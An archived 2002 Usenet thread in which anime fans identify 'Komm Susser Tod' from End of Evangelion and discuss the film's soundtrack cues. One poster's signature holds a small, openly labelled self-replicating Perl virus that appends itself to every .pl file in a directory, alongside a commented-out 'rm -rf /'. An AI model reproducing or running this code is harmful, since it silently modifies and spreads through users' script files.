Google グループは Usenet の新規の投稿と購読のサポートを終了しました。過去のコンテンツは引き続き閲覧できます。
表示しない

Name that tune: Music playing when everybody is turning to liquid (EOE)

閲覧: 13 回
最初の未読メッセージにスキップ

Bazza

未読、
2002/07/12 19:39:042002/07/12
To:
TIA.

Bazza.


Richard Liang

未読、
2002/07/13 6:32:292002/07/13
To:
Bazza wrote:

>TIA.
>
>Bazza.
>
>
>
>
>
>
I believe it's called "Komm Susser Tod" ("Come Sweet Death" in German)
or something like that, words written by Hideaki Anno himself. Can
anyone confirm this?

Richard

Rudolf Polzer

未読、
2002/07/13 6:56:072002/07/13
To:
Scripsit illa aut ille Richard Liang <rhl...@interchange.ubc.ca>:

> I believe it's called "Komm Susser Tod" ("Come Sweet Death" in German)
> or something like that, words written by Hideaki Anno himself. Can
> anyone confirm this?

AFAIK the lyrics are not by Anno, but they are based on a Japanese poem
by Anno. The free translation - or perhaps interpretation - was done by
Mike Wyzgowski, if http://www.avians.net/rkc/reichu/reichu-eva-csd.html
is right.


--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

esper41

未読、
2002/07/13 10:34:122002/07/13
To:
Richard Liang <rhl...@interchange.ubc.ca> wrote in message news:<3D300143...@interchange.ubc.ca>...

Anno wrote the lyrics in Japanese, and they were translated into
English by a guy named Mike Wyzgowski.

Bazza

未読、
2002/07/12 20:53:582002/07/12
To:
No problems.. i found out..
Come Sweet Death

"Bazza" <smeg...@hotmail.com> wrote in message
news:10265169...@azores.network-i.net...
> TIA.
>
> Bazza.
>
>
>
>

Richard Liang

未読、
2002/07/13 23:13:312002/07/13
To:
Rudolf Polzer wrote:

>Scripsit illa aut ille Richard Liang <rhl...@interchange.ubc.ca>:
>
>
>>I believe it's called "Komm Susser Tod" ("Come Sweet Death" in German)
>>or something like that, words written by Hideaki Anno himself. Can
>>anyone confirm this?
>>
>>
>
>AFAIK the lyrics are not by Anno, but they are based on a Japanese poem
>by Anno. The free translation - or perhaps interpretation - was done by
>Mike Wyzgowski, if http://www.avians.net/rkc/reichu/reichu-eva-csd.html
>is right.
>
>
>

Oh yeah, that's right. Thanks!

Richard

DOKool

未読、
2002/07/14 2:07:402002/07/14
To:

I'm assuming that was the "Tumbling Down" shit...

the one that says "I wish... that i could turn back time... cause now
the gift is all mine... can't live without the trust from those you
love..." ?

That gets my vote for the most DISTURBING music in a movie, period.
The song itself is good, but juxtaposed w/ what's happening with the
movie at the time... am i alone here? I mean, the song was just so
HAPPY... and...

-DOKool

Kakarotto

未読、
2002/07/14 2:55:002002/07/14
To:

"DOKool" <DOK...@aol.com> wrote in message
news:tt42ju45f0esnart3...@4ax.com...

*DOKool Explodes in a ball of flaming human flesh*


Rudolf Polzer

未読、
2002/07/14 2:39:302002/07/14
To:
Scripsit illa aut ille DOKool <DOK...@aol.com>:

> I'm assuming that was the "Tumbling Down" shit...
>
> the one that says "I wish... that i could turn back time... cause now
> the gift is all mine... can't live without the trust from those you
> love..." ?

Exactly.

> That gets my vote for the most DISTURBING music in a movie, period.
> The song itself is good, but juxtaposed w/ what's happening with the
> movie at the time... am i alone here? I mean, the song was just so
> HAPPY... and...

It isn't. This song is contradicting itself if you compare the lyrics to
the melody. Think about what this contradiction could mean - it's easy.
Note it's at the start of Third Impact.

And I'd vote for "Fly me to the moon". Not because it would not fit,
just because it really goes on one's nerves when playing an OST CD with
shuffle. But that's not in the movie... I'd vote for "tanin no kanshou"
- or "manatsu no shuuen"... or whatever, both are just too similar. At
least they fit to the beginning of the movie. "Taikou e no kinkyuuhinan"
is just too early, but that's probably only my opinion. "Air" is still
IMHO the best example of using classical music as background for a fight
- and one notices the images were drawn to the music. "Munashiki nagare"
is my favourite, but too long (not in the movie, where it's just
background and can be that long). Thanatos - I do not really like that
(the way how is sung), but it perfectly fits at this position (both the
lyrics and the sound fits). "Hajimari e no touhi" - is the "right" place
for putting the "Far in the distance..." lyrics in, but its main purpose
is reminding you of the scene where "tanin no kanshou" was played.
"Heisoku no kakudai" is also excellent at that position, but you must
notice Rei III's theme at the end. Could be a hint to understand the ending,
but I already wrote about it here. "Yume no sukima" - try to find out
what this is a variation of without looking at the score! It's somehow
misleading - it makes you think of Rei I's theme, but the solution is
somewhat completely different: borderline case. Also well done.

DOKool

未読、
2002/07/14 3:16:402002/07/14
To:

>And I'd vote for "Fly me to the moon". Not because it would not fit,
>just because it really goes on one's nerves when playing an OST CD with
>shuffle. But that's not in the movie... I'd vote for "tanin no kanshou"
>- or "manatsu no shuuen"... or whatever, both are just too similar. At
>least they fit to the beginning of the movie. "Taikou e no kinkyuuhinan"
>is just too early, but that's probably only my opinion. "Air" is still
>IMHO the best example of using classical music as background for a fight
>- and one notices the images were drawn to the music. "Munashiki nagare"
>is my favourite, but too long (not in the movie, where it's just
>background and can be that long). Thanatos - I do not really like that
>(the way how is sung), but it perfectly fits at this position (both the
>lyrics and the sound fits). "Hajimari e no touhi" - is the "right" place
>for putting the "Far in the distance..." lyrics in, but its main purpose
>is reminding you of the scene where "tanin no kanshou" was played.
>"Heisoku no kakudai" is also excellent at that position, but you must
>notice Rei III's theme at the end. Could be a hint to understand the ending,
>but I already wrote about it here. "Yume no sukima" - try to find out
>what this is a variation of without looking at the score! It's somehow
>misleading - it makes you think of Rei I's theme, but the solution is
>somewhat completely different: borderline case. Also well done.

I'm so buying the OST when i get the DVD, though.

I always get real depressed when i flip through scenes in EoE, just
because it's over. Why must the japanese be so cruel and limit their
TV shows to 26 episodes...

-DOKool

DOKool

未読、
2002/07/14 3:41:432002/07/14
To:
On Sun, 14 Jul 2002 18:55:00 +1200, "Kakarotto" <kaka...@xtra.co.nz>
wrote:

If i explode, it'll be into a puddle of LCL after getting down and
dirty with misato and asuka. hah.

-DOKool

Kakarotto

未読、
2002/07/14 4:31:272002/07/14
To:

"DOKool" <DOK...@aol.com> wrote in message
news:toa2jukuu2kddvb4f...@4ax.com...

AH, so the pile of molten human can speak, what a surprising discovery.


DOKool

未読、
2002/07/14 5:17:092002/07/14
To:
On Sun, 14 Jul 2002 08:39:30 +0200, Rudolf Polzer
<AntiATFiel...@durchnull.de> wrote:

>
>It isn't. This song is contradicting itself if you compare the lyrics to
>the melody. Think about what this contradiction could mean - it's easy.
>Note it's at the start of Third Impact.

I forgot to say something about this... I understand that the lyrics
are contradictory to the happy feel of the melody, but that's what's
so creepy about it. Like, the lyrics I mentioned coming as the guys
by the Magi are reunited with their loves, then turned to LCL...

新着メール 0 件